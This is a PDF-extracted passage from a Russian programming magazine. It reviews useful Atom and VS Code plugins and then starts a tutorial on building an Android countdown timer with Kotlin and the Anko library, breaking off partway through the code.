при  работе  над  оче ред ным  про ектом  надо  сра зу  позабо тить ся  о  под клю‐ 
чении  решений  вро де  ESLint,  HTMLHint,  CSSLint,  <твой_лин тер>.  Лин теры
кон тро лиру ют  стиль  написа ния  кода  и  в  слу чае  несо ответс твия  кон фигу
момен таль но ука жут на ошиб ки.

Осо бен но  полез ны  лин теры  в  коман дной  раз работ ке,  ког да  шан сы
получить  «раз ношерс тный»  код  уве личи вают ся  в  разы.  Нуж ны  при меры?
Пожалуй ста!  Меж ду  JS‐раз работ чиками  пос тоян но  идет  спор  о  выборе
кавычек. Одни — при вер женцы оди нар ных, дру гие — двой ных, а третьи под‐ 
держи вают идею обратных. Лин теры помогут добить ся еди нооб разия и вов‐ 
ремя опо вес тить раз работ чика, сбив шегося с пути.

VS Code:
• ESLint
• CSSLint
• HTMLHint

Atom:
• ESLint
• Lint
• Linter‐csslint

Сам себе генера тор
Во  вре мя  раз работ ки  всег да  тре буют ся  наборы  сге нери рован ных  дан ных,
будь  то  набор  слу чай ных  чисел,  email,  IP‐адре сов  и  про чее.  Сто ит  ли
говорить,  что  самос тоятель ная  заготов ка  перечис ленно го  доб ра —  занятие
не  из  при ятных.  Упростить  дело  помогут  два  инте рес ных  рас ширения: 

 и  .
VS-

Code-random Random

Рас ширение вклю чает в себя нес коль ко генера торов слу чай ных дан ных, их
количес тво от вер сии к вер сии попол няет ся. Пря мо сей час дос тупны генера‐ 
торы,  поз воля ющие  получить:  слу чай ные  чис ла,  слу чай ные  чис ла  из  задан‐ 
ного диапа зона, валид ные email, IPv 4/IPv 6, наз вания стран, URL‐адре са, цве‐ 
та,  име на  людей,  наз вания  улиц…  Перечис ленные  пла гины  ори енти рова ны
в  пер вую оче редь  на  JavaScript‐раз работ чиков,  а  если  твоя  работа  свя зана
лишь  с  верс ткой,  то  тебе  при годит ся  генера тор  Lorem  ipsum,  поз воля ющий
быс тро фор мировать заготов ки шаб лонно го тек ста.

VS Code:
• VSCode‐random
• Lorem ipsum

Atom:
• Random
• Lorem ipsum

Ме нед жер про ектов
В Atom и VS Code, в отли чие от IDE, такая сущ ность, как про ект, не при меня‐ 
ется.  Мы  прос то  работа ем  с  фай лами  в  опре делен ных  дирек тори ях.  Если
говорить  еще  точ нее,  то  «про ект»  в  перечис ленных  редак торах —  кор невая
дирек тория. К сожале нию, из короб ки в редак торах отсутс тву ет воз можность
быс тро го  перек лючения  меж ду  ними.  Ког да  в  работе  сра зу  нес коль ко  про‐ 
ектов, перек лючать ся меж ду ними дол го и неудоб но. Пла гин Project Manager
добавит недос тающую фун кци ональ ность.

 • VS Code: Project Manager
 • Atom: Project Manager

Ме нед жер про ектов

Под свет ка для ско бок
Ма ло  что может  так  запутать  раз работ чика,  как  вло жен ные  скоб ки.  Взгля ни
на код:

runMyFunc(foo(1, foo2())();

Ос тавим за кад ром обсужде ние анти пат терна переда чи резуль татов фун кций
в  качес тве  парамет ров,  а  пос мотрим  на  скоб ки.  В  этой  стро ке  их  слиш ком
мно го и есть вло жен ные. Далеко не сра зу понят но, что к чему. Стан дар тные
воз можнос ти редак тора пыта ются помочь под свет кой пар ных ско бок, но рас‐ 
ширение  вро де    дела ет  это  более  эле ган тно.  Оно
рас кра шива ет  пар ные  скоб ки  слу чай ным  цве том,  тем  самым  поз воляя  раз‐ 
работ чику быс тро най ти пару для скоб ки.

Bracket  Pair  Colorizer

 • VS Code: Bracket Pair Colorizer
 • Atom: nms‐color‐bracket package

Bracket Pair Colorizer

Ав током плит для npm
Чуть выше мы рас смот рели пла гин для авто ком пли та имен фай лов (AutoFile‐
Name), а есть  точ но  такой же,  толь ко для модулей из npm  (npm  Intellisense).
Идея прос та: начина ем писать пер вые сим волы наз вания модуля и получа ем
вари анты  для  авто ком пли та.  При  активной  раз работ ке  под  Node.js  вещь
незаме нимая.

 • VS Code: npm Intellisense
 • Atom: npm‐autocomplete package

Эк спе римен ты над регис тром
Во вре мя ревью кода начина ющих раз работ чиков с завид ной регуляр ностью
воз ника ет пот ребность при вес ти перемен ные к CamelCase или дру гому сти‐ 
лю. Нап ример, изме нить наиме нова ние перемен ной с mylongvar на myLong‐
Var или же при менить snake case: my_long_var. Одним сло вом, задачи по кон‐ 
верта ции  регис тра  раз ные,  и  упростить  их  помогут  пла гины  типа 

.  Рас ширение  под держи вает  нес коль ко  вари антов  для  кон верти рова‐ 
ния:  вер хний  регистр,  ниж ний  регистр,  snake  case, CamelCase,  pascal  (вен‐ 
гер ская нотация) и дру гие.

Change

Case

 • VS Code: Change Case
 • Atom: Change Case
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САМЫЕ
ПОЛЕЗНЫЕ ПЛАГИНЫ
ДЛЯ ATOM И VS CODE

КОДИНГ  НАЧАЛО СТАТЬИ←

По выша ем узна ваемость фай лов
При работе  над  про екта ми  с  боль шим  количес твом раз ношерс тных фай лов
(HTML, CSS, SQL, PHP,  JS и  так далее)  удоб но опре делять  тип фай ла не по
рас ширению,  а  по  зна комой  гла зу  икон ке.  Подоб ный  под ход  при меня ется
во мно гих  IDE, а вот  тек сто вые редак торы по умол чанию с этим не парят ся.
Про качать  редак тор  и  облегчить  зри тель ное  вос при ятие  поможет  рас‐ 
ширение с набором ико нок — VS Code Great  Icons и Seti  Icons. Рас ширение
добав ляет  каж дому  фай лу  соот ветс тву ющую  икон ку,  пос ле  чего  ори енти‐ 
ровать ся ста новит ся про ще.

 • VS Code: VS Code Great Icons
 • Atom: Seti Icons

Икон ки для фай лов

Вред ное вырав нивание
Не кото рые  раз работ чики  пита ют  осо бые  чувс тва  к  вырав ниванию  тек ста.
Речь  идет  про  вырав нивание  зна чений  отно ситель но  опе рато ра  =.  Если  ты
не понял, о чем я говорю, то пос мотри на эти нес коль ко стро чек кода:

var firstVarriable = 1;
var two            = 2;
var another        = 3;

Дли на  имен  перемен ных  раз лича ется,  но  все  зна чения  находят ся  на  одном
уров не. Выг лядит это хорошо, и чита емость дей стви тель но воз раста ет. Прав‐ 
да, появ ляет ся дру гая слож ность — лиш ние про белы. Сто рон ников и про тив‐ 
ников пред став ленно го под хода к офор мле нию мно го. Если ты один из при‐ 
вер женцев  вырав нивания  по  =,  прис мотрись  к  пла гинам 
и  .

Atom  Alignment

Align

 • VS Code: Align
 • Atom: Atom Alignment

Шаб лон для JSDoc
JSDoc  —  стан дарт  офор мле ния  ком мента риев  в  JavaScript.  Нес мотря
на общую лаконич ность фор мата, набивать руками заготов ку дол го. Пла гины

 и   уско рят дело, добавив воз можность быс тро го
фор мирова ния загото вок будущих ком мента риев.
Document this Atom easy

 • VS Code: Document this
 • Atom: Atom easy

Пар сер TODO
Не вспом ню, отку да повелось, но еще со вре мен прог рамми рова ния на Del‐
phi  было  при нято  помечать  ком мента рием  TODO  те  учас тки  кода,  которые
пла ниро валось отре фак торить в будущем. Все взрос лые  IDE пре дос тавля ют
подоб ную фун кцию из короб ки: кли каем и получа ем спи сок «задач из кода».
Добить ся при мер но такого же эффекта в редак торах поз воля ют рас ширения

 и   для Atom. Рас‐ 
ширения  поз воля ют  прос каниро вать  файл/про ект  и  вывес ти  в  отдель ную
панель все TODO, FIXME, NOTE и дру гие ком мента рии.

VSCode Todo Parse Exentension Todo Show Package

 • VS Code: VSCode Todo Parse Exentension
 • Atom: Todo Show Package

Де тек тим цве та
Во  вре мя  верс тки  оче ред ной  стра ницы  ука зывать  цве та  при нято
в  HEX/RGB/HWB/HSL.  Проб лема  одна:  если  в  голове  отсутс тву ет  база
исполь зуемых в офор мле нии цве тов, то для опре деле ния цве та по его тек сто‐ 
вому  пред став лению  при дет ся  копипас тить  зна чения  в  гра фичес кий  редак‐ 
тор. Задача рутин ная и лег ко реша ется бла года ря пла гину  .Color Picker

Пер вое, что он дела ет, — упро щает навига цию по цве там. Для это го пла‐ 
гин  рису ет  икон ку  с  изоб ражени ем  цве та,  соот ветс тву юще го  тек сто вому
пред став лению.  Вто рая  плюш ка  —  отоб ражение  диало га  выбора  цве та.
Диалог  напоми нает  ана логич ные  из  гра фичес ких  редак торов  и  поз воля ет
одним кли ком выб рать новый цвет в жела емом фор мате. Так же есть под дер‐ 
жка муль тикур сора — за один раз мож но изме нить цвет в нес коль ких мес тах.

 • VS Code: Color Picker
 • Atom: chrome‐color‐picker

Ре дак тор цве тов в Color Picker Editor

При руча ем C
Ком фор тное прог рамми рова ние на язы ке C# дав но не огра ничи вает ся одной
лишь Visual  Studio. Писать  код  на  этом  популяр ном  язы ке  впол не  воз можно
на  VS  Code  и  Atom,  пред варитель но  уста новив  соот ветс тву ющее  рас‐ 
ширение. Ска жу сра зу и чес тно: VS Code вне кон курен ции. Для него дос тупно
как офи циаль ное рас ширение Microsoft, так и сто рон нее с нес коль кими ори‐ 
гиналь ными фиш ками.

Офи циаль ное  рас ширение  пре дос тавля ет:  под свет ку  син такси са,  фир‐ 
менную  тех нологию  авто допол нения  (IntelliSense),  быс трый  переход  к  опре‐ 
деле нию,  поиск  ссы лок,  генера торы  клас сов  и  дру гие  при выч ные  по  Visual
Studio  опе рации.  Есть  под дер жка  отладчи ка  для  про ектов  .NET  Core,  под‐ 
держи вающе го  работу  под  macOS,  Windows  и  раз личны ми  Linux.  Перечис‐ 
ленно го  инс тру мен тария  впол не  дос таточ но  для  ком фор тной  работы  и  раз‐ 
работ ки про ектов под популяр ный ASP.NET MVC.

Что  каса ется  Atom,  то  здесь  все  нес коль ко  грус тней.  Самое  популяр ное
рас ширение для C# — language‐csharp по фак ту добав ляет толь ко под свет ку
син такси са и раз личные снип петы.

  , • VS Code: C# for Visual Studio Code C# Extensions
 • Atom: language‐csharp

Под дер жка EditorConfig
Что чаще все го под лежит нас трой ке в любом редак торе? Все вер но: раз мер
отсту пов,  кодиров ка по  умол чанию, сим вол отбивки  (табы  vs про белы),  уда‐ 
ление  завер шающих  про белов.  Эти  парамет ры  нас толь ко  час то  меня ются,
что  был  при думан  уни вер саль ный  фор мат  EditorConfig.  Суть  идеи  прос та:
помеща ем  в  корень  кон фигура цион ный  файл,  про писы ваем  нас трой ки,
и любой сов ремен ный редак тор тут же их под хва тит. Что бы VS Code и Atom
научи лись его понимать, при дет ся пос тавить допол нитель ные рас ширения.

 • VS Code: EditorConfig
 • Atom: EditorConfig

ШАБЛОНИЗАТОРЫ
При раз работ ке на JavaScript активно при ходит ся при бегать к помощи шаб‐ 
лониза торов,  которых  сущес тву ет  бес числен ное  мно жес тво.  Одна ко
наиболь шую популяр ность заво ева ли   и  . Пер вая проб лема,
с которой стал кива ешь ся, — под свет ка син такси са. В слу чае с handlebars она
реша ется  уста нов кой  пла гинов  handlebars/atom‐handlebars.  Так же
не помеша ют решения вро де handlebars preview, уме ющие на лету показы вать
резуль тат ком пиляции шаб лона.

handlebars Jade

С  Jade  чуточ ку  слож ней  —  син таксис  осо бо  под све чивать  смыс ла  нет,
но  есть  пла гины,  упро щающие  кон верта цию  HTML  в  син таксис  Jade
и обратно. При верс тке боль ших шаб лонов такой кон вертер (нап ример, html‐ 
2jade) сэконо мит кучу вре мени и сил.

VS Code:
• Html 2jade
• Handlebars
• Handlebars Preview

Atom:
• Atom‐handlebars
• Html 2jade‐plus
• Preview‐plus

Син хро низи руем нас трой ки
Вы ше  я  говорил,  что  мутор нее  все го  при  пере езде  на  оче ред ной  редак тор
учить  новые  сочета ния  кла виш  и  отвы кать  от  тех,  что  дав но  уко рени лись
в моз гу.  Вто рая  по  зна чимос ти  проб лема —  син хро низа ция  нас тро ек.  Если
у  тебя  нес коль ко  рабочих  компь юте ров,  ты меня  пой мешь. Мне  при ходит ся
работать за дву мя машина ми — на работе Windows, а дома Mac. Дико раз‐ 
дра жает,  ког да  на  работе  уста новишь  какой‐нибудь  полез ный  пла гин
или под кру тишь нес коль ко нас тро ек, а при дя домой, понима ешь, что эти же
дей ствия надо пов торить. Было бы здо рово иметь воз можность син хро низа‐ 
ции  нас тро ек  и  уста нов ленных  рас ширений,  как  в  бра узе рах.  И  такая  воз‐ 
можность есть.

Рас ширение  Settings  Sync  поз воля ет  син хро низи ровать  уста нов ленные
рас ширения,  нас трой ки,  темы,  рас клад ки  кла виш  и  мно гое  дру гое.  При чем
для син хро низа ции не тре бует ся сто рон ний облачный сер вис — все работа ет
через  GitHub.  Пос ле  базовой  нас трой ки  (опи сание  дос тупно  на  стра нице
про екта)  тре бует ся  запом нить  две  ком бинации  кла виш:  Shift  +  Alt  +  u  (выг‐ 
рузка нас тро ек) и Shift + Alt + d (заг рузка нас тро ек).

 • VS Code: Settings Sync
 • Atom: Sync Settings for Atom

Вы бороч ный запуск кода
Хо чешь запус тить код на исполне ние пря мо здесь и сей час? При чем не весь
про ект,  а,  нап ример,  один  модуль  или  вов се  про верить  работу  одной фун‐ 
кции?  Сог ласись,  запус кать  весь  про ект  ради  такой  мелочи  —  кощунс тво.
Спе циаль но для таких слу чаев есть пла гин  . Он уме ет запус кать
код  в  текущем  табе  или  выделен ный  код.  Резуль тат  исполне ния  выводит ся
в кон соль вывода. Во вре мя отладки фун кций вещь чрез вычай но полез ная.

Code Runner

Code Runner под держи вает не толь ко JavaScript, но и дру гие популяр ные
язы ки  прог рамми рова ния:  Java,  PHP,  Ruby…  Тре бует ся  лишь  уста новить
в сис теме необ ходимые ком пилято ры/интер пре тато ры и про писать в кон фиг
Code Runner пути к ним.

 • VS Code: Code Runner
 • Atom: Atom Runner

Сор тиров ка строк
Не кото рые  раз работ чики  обо жают  опи сывать  свой ства  объ ектов  или  CSS‐
пра вила в алфа вит ном поряд ке. Плю сы и минусы  такого под хода обсуждать
не будем, но сог ласим ся, что проб лема сор тиров ки воз ника ет в самых раз‐ 
ных ситу ациях. Рас ширение Sort lines уме ет сор тировать выделен ные в редак‐ 
торе  стро ки  нес коль кими  спо соба ми:  по  алфа виту,  по  дли не,  в  слу чай ном
поряд ке и так далее. Я как‐то видел, что подоб ные задачи, свя зан ные с сор‐ 
тиров кой спис ков зна чений, мно гие реша ют с помощью Excel. Если ты дела‐ 
ешь так же, то прис мотрись к пла гину, будет про ще.

 • VS Code: Sort lines
 • Atom: Sort lines

Ин тегри руем ся с Git
Без Git в наше вре мя никуда. За годы прак тики я вырабо тал для себя пра вило:
работа ешь с Git либо через кон соль, либо через встро енный инс тру мен тарий
в  редак торе  кода.  Зас тавить  себя  поль зовать ся  отдель ными  при ложе ниями
так  и  не  получи лось.  Неудоб но  мне  пос тоян но  менять  фокус,  инс тру мент
нужен здесь и сей час. VS Code, а с недав них пор и Atom уме ют работать с Git
на базовом уров не. Серь езно рас ширить базовые воз можнос ти готовы спе‐ 
циаль ные рас ширения вро де Git Easy, Git Lens и Git History.

Git  History  реша ет  проб лему  прос мотра  исто рии  ком митов.  По  фак ту
это хорошо визу али зиро ван ный вывод коман ды git  log с воз можностью быс‐ 
тро го прос мотра авто ров изме нений и дру гой полез ной информа ции. Лег ко
узнать,  кто  менял  выделен ную  стро ку  кода,  пос мотреть  изме нения  меж ду
вер сиями и так далее.

Пла гин Git Easy помога ет упростить дос туп к час то исполь зуемым коман‐ 
дам Git (init, add, add file, push и про чие). При годит ся тем, кто не любит пос‐ 
тоян но вби вать в кон соли одно тип ные коман ды.

Git Lens — одно из самых мощ ных рас ширений для работы с Git из редак‐ 
тора. Добав ляет воз можнос ти визу аль ного срав нения изме нений меж ду вер‐ 
сиями  фай лов,  под све чива ет  изме нен ные  стро ки,  выводит  информа цию
об  изме нен ных  стро ках  в  виде  анно таций  (имя  авто ра  и  вре мя  добав ления
стро ки  отоб ража ется  на  фоне  кода),  показы вает  превью  перед  сли янием
и мно го дру гой полез ной информа ции. Анно тации — одна из клю чевых фун‐ 
кций,  поз воля ющих  сра зу  понять,  кто  автор  дан ного  кода  и  ког да  код  был
заком мичен. Пол ный спи сок воз можнос тей смот ри на стра нице про екта.

VS Code:
• Git Easy
• Git Lens
• Git History

Ав тозак рытие тегов
При  написа нии  HTML/XML‐кода  важ но  не  забывать  про писы вать  зак рыва‐ 
ющие теги. Понят ное дело, что «забыв чивость» быс тро отоб ража ется в виде
поехав шей  раз метки.  Что бы  не  про пус тить  зак рыва ющие  теги  там,  где  они
дей стви тель но  нуж ны,  есть  удоб ный  пла гин  .  Рас ширение
под держи вает HTML/XML, зак рыва ет толь ко пар ные теги, под держи вает зак‐ 
рытие тегов в сти ле Sublime Text 3, авто мати чес ки переме щает кур сор меж ду
откры вающим и зак рыва ющим тегом.

Auto  Close  Tag

 • VS Code: Auto Close Tag
 • Atom: Close Tags

ПЛАГИНОВ МНОГО НЕ БЫВАЕТ
В статье мы успе ли рас смот реть наибо лее популяр ные пла гины для веб‐раз‐ 
работ чика.  Это  лишь  малая  часть  из  того,  что  есть  в  офи циаль ных  репози‐ 
тори ях. Даль ше все зависит от кон крет ных задач. Напос ледок хочу дать один
совет: не перебор щи. Пом ни — чем боль ше уста нов лено пла гинов, тем ско‐ 
рей ты пой маешь тор моза (да‐да, сло ва «ско рей» и «тор моза» стран но смот‐ 
рятся в одной фра зе :)). Не сто ит при помощи пла гинов делать из редак тора
IDE. Они соз давались как лег ковес ные решения и такими дол жны оста вать ся.
Если  тре бует ся  более  серь езная  и  слож ная  фун кци ональ ность  —  прис‐ 
мотрись к IDE. Выиг рыш в про изво дитель нос ти будет колос саль ный.

Плю сы и минусы редак торов на веб‑тех нологи ях
Плю сы:

бес плат ны;•
сде ланы веб‐раз работ чиками для веб‐раз работ чиков;•
бес край ние репози тории пла гинов;•
хо рошая кон фигури руемость.•

Ми нусы:
низ кая про изво дитель ность при работе с боль шими фай лами;•
нех ватка допол нитель ных спе циали зиро ван ных инс тру мен тов;•
ин терфейс менее отзывчив;•
ошиб ки в пла гинах.•

ОДНОЙ СТРОКОЙ
,   — фор матер JavaScript‐кода;• Prettier — JavaScript formatter atom‐Beautify

 — авто ком плит для Sass;• SCSS IntelliSense
,   — заменя ет табы на про белы и обратно;• Untabify Tabs to Spaces
 — пре дос тавля ет управле ние Express‐сер вером;• Express

 — под свет ка для ES6/ES7;• Babel ES6/ES7
 — под свет ка син такси са, снип петы, авто ком плит для Sass;• Sass

 — фор матер для популяр ных преп роцес соров;• Beautify css/sass/scss/less
,   — добав ляет под дер жку «зак ладок» для кода;• Bookmarks file‐bookmark

,   — под дер жка популяр ного сер виса Can I Use.• Can I Use caniuse
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КОДИНГ

Уве рен,  из  ста тей    и    ты  уже  понял,
что  ][  любит  этот  слад кий  от  син такси чес‐ 
кого сахара язык прог рамми рова ния. Наша
сегод няшняя статья поможет и так не силь‐ 
но заг ружен ному :) Kotlin‐раз работ чику раз‐ 
гру зить ся  еще  боль ше:  с  помощью  биб‐ 
лиоте ки  Anko  ты  изба вишь ся  от  необ‐ 
ходимос ти  писать  раз метку  интерфей са
в XML и получишь дос туп к мно жес тву упро‐ 
щающих раз работ ку фун кций.

раз два

НЕМНОГО ОБ ANKO
Anko — офи циаль ная биб лиоте ка Koltin для Android. Это не часть основно го
ран тай ма  Kotlin  и  не  обя затель ный  ком понент,  а  что‐то  вро де  чемодан чика
инс тру мен тов.

Клю чевой ком понент Anko — биб лиоте ка UI, которая спо соб на сущес твен‐ 
но  упростить  прог рамми рова ние  интерфей са.  Что бы  понять,  что  это  такое,
рас смот рим,  как  мы  обыч но  прог рамми руем  интерфейс  при ложе ния.
Для это го необ ходимо соз дать XML‐файл с раз меткой, с помощью гра фичес‐ 
кого интерфей са или вруч ную рас ста вить лай оты и вид жеты, прис воить каж‐ 
дому вид жету ID, затем написать код, который най дет эти вид жеты с помощью
findViewById()  и  выпол нит  над  ними  какие‐то  дей ствия  (нап ример,  повесит
на кноп ку кол бэк с обра бот чиком нажатия).

Это впол не нор маль ный и общепри нятый метод опи сания интерфей са, он
при меня ется  во  мно гих  дру гих  фрей мвор ках,  сре дах  и  опе раци онных  сис‐ 
темах. Но в нем есть мно жес тво проб лем: код в XML не типобе зопа сен, его
нель зя пере исполь зовать, XML обра баты вает ся на самом девай се, из‐за чего
рен деринг  интерфей са  про исхо дит  мед ленно.  В  кон це  кон цов,  писать
и редак тировать XML прос то неудоб но, даже нес мотря на все, что дела ет An‐
droid Studio для уско рения это го про цес са (о визу аль ном редак торе я мол чу,
его мож но исполь зовать толь ко на эта пе про тоти пиро вания, потом при дет ся
пра вить руками).

Не кото рые из этих проб лем мож но решить, если опи сать интерфейс пря‐ 
мо в коде. В Android есть для это го все средс тва, но они при ведут тебя не в
свет лое будущее, а в ад. Код, опи сыва ющий интерфейс, будет очень гро моз‐ 
дким, пло хо чита емым и запутан ным. Вмес то выр виглаз ного, но струк туриро‐ 
ван ного  XML  ты  получишь бес конеч ные  серии опе раций  вида:  соз дать объ‐ 
ект, выз вать такие‐то методы, соз дать еще один и такие‐то методы, передать
эти объ екты методу дру гого объ екта, а сам объ ект передать дру гому объ екту
и так далее на десят ки и сот ни строк впе ред.

Anko пред лага ет очень эле ган тный спо соб решить эту проб лему. Прос то
пос мотри на этот код:

verticalLayout {
   val name = editText()
   button("Say Hello") {
       onClick { toast("Hello, ${name.text}!") }
   }
}

Эти шесть  строк  соз дают  LinearLayout  с  вер тикаль ным рас положе нием  эле‐ 
мен тов,  раз меща ют  в  нем  стро ку  вво да,  под  ней  кноп ку  Say  Hello,  которая
при нажатии берет текст из стро ки вво да и выводит на экран сооб щение «Hel‐
lo, <текст из стро ки вво да>!». И это, заметь, не какой‐то отдель ный язык опи‐ 
сания интерфей са, а впол не обыч ный код на Kotlin.

Не дур но, не так ли? В разы про ще ана логич ной раз метки XML и тем более
про ще,  чем  интерфейс,  опи сан ный  клас сичес ким  спо собом.  А  выпол нен  он
будет  , чем код из XML.на 400% быс трее

Но и это еще не все. В чет вертой строч ке ты можешь заметить, что кол бэку
onClick в качес тве аргу мен та переда ется лям бда с вызовом фун кции  toast().
Эта фун кция тоже вхо дит в сос тав Anko и фак тичес ки явля ется более корот‐ 
ким экви вален том такой стро ки:

Toast.makeText(context, "Hello, ${name.text}!", Toast.LENGTH_SHORT).
show();

В  Anko  мас са  подоб ных  шор тка тов.  Нап ример,  так  мож но  запус тить
активность:

startActivity<SomeActivity>()

Это экви валент сле дующих двух строк:

val intent = Intent(this, SomeOtherActivity::class.java)
startActivity(intent)

А так — показать диало говое окно:

alert("Warning", "Anko is cool?") {
   yesButton { toast("Yes") }
   noButton { }
}.show()

Поз вонить ука зан ному або нен ту тоже мож но:

makeCall("002")

В этой статье не будем рас смат ривать все воз можнос ти Anko. Вмес то это го
мы напишем пол ноцен ное при ложе ние, которое про демонс три рует ско рость
и удобс тво раз работ ки с помощью Kotlin и Anko.

ПИШЕМ ПРИЛОЖЕНИЕ
На ше  при ложе ние  будет  край не  прос тым,  но  пол ноцен ным.  Мы  сде лаем
countdown‐тай мер,  что бы  он  отсчи тывал  количес тво  секунд,  которое  ты
выберешь  с  помощью  выд вижно го  меню  сле ва  (drawer),  выводил  на  экран
прог ресс  отсче та  с  помощью  кру га,  а  по  окон чании  показы вал  toast‐сооб‐ 
щение.

Нес мотря  на  свою  прос тоту,  при ложе ние  научит  тебя  сра зу  нес коль ким
весь ма важ ным вещам:

соз давать  базовые  гра фичес кие  эле мен ты  с  помощью  Anko:  выд вижную
панель, ста тус‐бар, кноп ки, прог ресс‐бары;

•

вы носить  код  раз метки  из  основно го  кода  при ложе ния  c  помощью  ком‐ 
понен тов Anko;

•

ра ботать с фраг мента ми;•
ра ботать со сто рон ними вид жетами;•
ис поль зовать соп рограм мы Kotlin, новую мощ ней шую фичу Kotlin 1.1.•

Соз даем про ект и под клю чаем биб лиоте ки
Для  соз дания  про екта  я  рекомен дую  исполь зовать  Android  Studio  3.0.  Она
хоть и носит ста тус «аль фы», но прек расно работа ет, а пла гин Kotlin в нее уже
встро ен. Соз даем новый про ект, оставля ем дефол тные нас трой ки, а в самом
кон це  выбира ем  Empty  Activity.  Так  сре да  не  будет  за  нас  генери ровать
началь ный код, который нам не нужен.

Ни каких активнос тей, нам нужен «голый» про ект

Ког да  про ект  будет  соз дан,  откры ваем  build.gradle  (Project)  и  добав ляем
репози торий jitpack:

allprojects {
   repositories {
       // ...
       maven { url "https://jitpack.io" }
   }
}

Те перь откры ваем build.gradle (Module: app) и добав ляем в конец фай ла сле‐ 
дующие стро ки, пред варитель но уда лив уже име ющий ся блок  :dependencies

final SUPPORT_VERSION = '26.0.0‐beta2'
final KOTLIN_VERSION = '1.1.3‐2'
final ANKO_VERSION = '0.10.1'
dependencies {
   compile "com.android.support:appcompat‐v7:${SUPPORT_VERSION}"
   compile "com.android.support:design:${SUPPORT_VERSION}"
   compile "org.jetbrains.kotlin:kotlin‐stdlib‐jre7:$KOTLIN_VERSION"
   compile "org.jetbrains.anko:anko‐coroutines:$ANKO_VERSION"
   compile "org.jetbrains.anko:anko‐sdk15:$ANKO_VERSION"
   compile "org.jetbrains.anko:anko‐sdk15‐coroutines:$ANKO_VERSION"
   compile "org.jetbrains.anko:anko‐appcompat‐v7:$ANKO_VERSION"
   compile "org.jetbrains.anko:anko‐appcompat‐v7‐coroutines:$ANKO_V
ERSION"
   compile "org.jetbrains.anko:anko‐design:$ANKO_VERSION"
   compile "org.jetbrains.anko:anko‐design‐coroutines:$ANKO_VERSION"
   compile 'com.github.jakob‐grabner:Circle‐Progress‐View:v1.3'
   compile 'com.github.medyo:Fancybuttons:1.8.3'
}

Здесь перечис лены все необ ходимые при ложе нию биб лиоте ки, вклю чая ран‐ 
тайм Kotlin, Anko, а так же Circle‐Progress‐View (кру говой прог ресс‐бар) и Fan‐
cybuttons (плос кие кноп ки со скруг ленны ми угла ми).

Ба зовый интерфейс
Для начала опи шем базовый интерфейс при ложе ния. Его час ти:

вер хняя панель при ложе ния;•
пус той (в дан ный момент) кон тей нер для отоб ражения фраг ментов;•
выд вижная панель с тре мя эле мен тами меню: 15 seconds, 30 seconds, 60
seconds.

•

Все  это  мы  раз местим  в  отдель ном  клас се‐ком понен те  Anko.  С  помощью
пра вой  кноп ки  и  меню  New  →  Kotlin  File/Class  соз дай  файл  (назови  его
MainUI) и раз мести в нем сле дующие стро ки:

class MainUI : AnkoComponent<MainActivity> {
   lateinit var mDrawer: DrawerLayout
   lateinit var mToolbar: Toolbar
   // Массивы, содержащие элементы меню:
   // View и значения, которые они собой олицетворяют
   val menuItems = arrayListOf<TextView>()
   val menuValues = arrayOf(15, 30, 60)
   val mContainerId = 1
   // Метод, возвращающий корневой View и все дочерние элементы
   override fun createView(ui: AnkoContext<MainActivity>): View = 
with(ui) {
       mDrawer = drawerLayout {
           lparams(width = matchParent, height = matchParent)
           createContainer()
           createNavigationView()
       }
       return mDrawer
   }
   // Верхняя панель приложения и контейнер,
   // в котором позже мы поместим основной интерфейс приложения
   fun _DrawerLayout.createContainer() {
       verticalLayout {
           lparams(width = matchParent, height = matchParent)
           mToolbar = toolbar {
               lparams(width = matchParent, height = dip(56))
               backgroundResource = R.color.colorPrimary
           }
           frameLayout {
               id = mContainerId
               lparams(width = matchParent, height = matchParent)
           }
       }
   }
   // Боковое меню
   fun _DrawerLayout.createNavigationView(ui: AnkoContext<MainAc
tivity>) {
       navigationView {
           lparams(height = matchParent, gravity = GravityCompat.
START)
           verticalLayout {
               padding = dip(16)
               menuValues.forEach {
                   val tv = textView {
                       lparams(width = matchParent, height = wrapCo
ntent)
                       padding = dip(8)
                       text = "$it seconds"
                       textSize = 17f
                   }
                   menuItems.add(tv)
               }
           }
       }
   }
}

Как  ты  можешь  видеть,  класс  явля ется  нас ледни ком  клас са 
и поэто му дол жен в обя затель ном поряд ке реали зовать метод  ,
который  дол жен  воз вра щать  объ ект  клас са  .  В  Android  класс    —
это любой эле мент интерфей са, вклю чая кноп ки, поля вво да и лай оты. Так что
мы  соз даем    (с  помощью  фун кции  drawerLayout),  раз меща ем
в нем все осталь ные эле мен ты и воз вра щаем его.

AnkoComponent
createView()

View View

DrawerLayout

Для удобс тва мы раз делили код опи сания интерфей са меж ду фун кци ями
 и  . Что бы эти фун кции получи‐ 

ли дос туп к модифи кации View (а имен но DrawerLayout), мы сде лали их фун‐ 
кци ями — рас ширени ями  клас са  _DrawerLayout  (имен но  его  внут ри  исполь‐ 
зует фун кция drawerLayout).

createContainer() createNavigationView()

Ос новной  код  опи сыва ет  сам  себя.  Оста нов люсь  лишь  на  двух  важ ных
момен тах.  Пер вый:  стро ка 

 — это ана лог двух строк в XML:
lparams(width  =  matchParent,  height  =

wrapContent)

android:layout_width="match_parent"
android:layout_height="wrap_content"

Вто рой: ради прос тоты мы не исполь зуем ListView или RecyclerView для фор‐ 
мирова ния спис ка меню, а вмес то это го прос то соз даем его в цик ле на осно‐ 
ве  зна чений  из  мас сива.  Это  еще  одно  пре иму щес тво  Anko —  в  коде  опи‐ 
сания интерфей са мож но исполь зовать цик лы, условные опе рато ры и любые
дру гие язы ковые конс трук ции Kotlin.

MainActivity
Те перь, ког да у нас есть интерфейс, соз дадим активность, с которой и будет
начинать ся  исполне ние  при ложе ния.  Активность  будет  очень  прос тая,  она
отоб разит на экра не интерфейс MainUI, ини циали зиру ет панель при ложе ния
и боковое меню, под клю чит к кон тей неру фраг мент с основным интерфей сом
(кру говой  прог ресс‐бар  и  кноп ка  запус ка  тай мера)  и  повесит  на  эле мен ты
выд вига емо го меню кол бэки, которые будут перепод клю чать тот же фраг мент
с раз ными аргу мен тами.

class MainActivity : AppCompatActivity() {
   lateinit var mainUI: MainUI
   override fun onCreate(savedInstanceState: Bundle?) {
       super.onCreate(savedInstanceState)
       // Отображаем наш интерфейс
       mainUI = MainUI()
       mainUI.setContentView(this)
       // Подключаем верхнюю панель
       setSupportActionBar(mainUI.mToolbar)
       // Привязываем выдвижное меню к кнопке панели
       val toggle = ActionBarDrawerToggle(
               this, mainUI.mDrawer, mainUI.mToolbar,
               android.R.string.yes, android.R.string.no)
